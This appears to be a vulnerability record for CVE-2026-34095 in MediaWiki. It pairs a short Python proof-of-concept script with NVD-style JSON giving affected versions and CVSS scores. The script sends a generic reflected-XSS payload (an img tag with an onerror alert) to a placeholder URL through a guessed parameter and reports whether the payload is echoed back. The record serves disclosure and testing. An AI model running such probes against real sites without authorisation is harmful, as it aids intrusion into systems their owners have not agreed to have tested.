CVE-2026-34095

# PoC Concept for CVE-2026-34095 # This is a generic demonstration of a Reflected XSS scenario. # Do not use against systems without authorization. import requests target_url = "http://target-mediawiki.com/w/index.php" # Malicious payload attempting to trigger XSS xss_payload = "<img src=x onerror=alert('CVE-2026-34095')>" # Parameters simulating the vulnerable entry point params = { "title": "Main_Page", "action": "raw", # Example parameter, actual vector depends on ActionEntryPoint logic "vulnerable_param": xss_payload } try: response = requests.get(target_url, params=params, timeout=5) if xss_payload in response.text: print("[+] Potential Vulnerability Detected: Payload reflected in response.") else: print("[-] Payload not reflected or patched.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34095", "sourceIdentifier": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "published": "2026-05-11T18:16:32.223", "lastModified": "2026-05-13T22:30:47.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in Wikimedia Foundation MediaWiki.\n\n This vulnerability is associated with program files includes/Actions/ActionEntryPoint.Php, includes/Request/FauxResponse.Php.\n\n\n\nThis issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2."}], "metrics": {"cvssMetricV40": [{"source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.43.7", "matchCriteriaId": "59C361A8-E45E-4DF3-8E0D-C757AD96B8BF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.44.0", "versionEndExcluding": "1.44.4", "matchCriteriaId": "09939AF0-D092-467E-8596-280E4E48EAC4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mediawiki:mediawiki:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.45.0", "versionEndExcluding": "1.45.2", "matchCriteriaId": "394E8364-3B3F-41C7-B1C3-0A1867EF3D64"}]}]}], "references": [{"url": "https://phabricator.wikimedia.org/T419192", "source": "c4f26cc8-17ff-4c99-b5e2-38fc1793eacc", "tags": ["Vendor Advisory", "Issue Tracking"]}]}}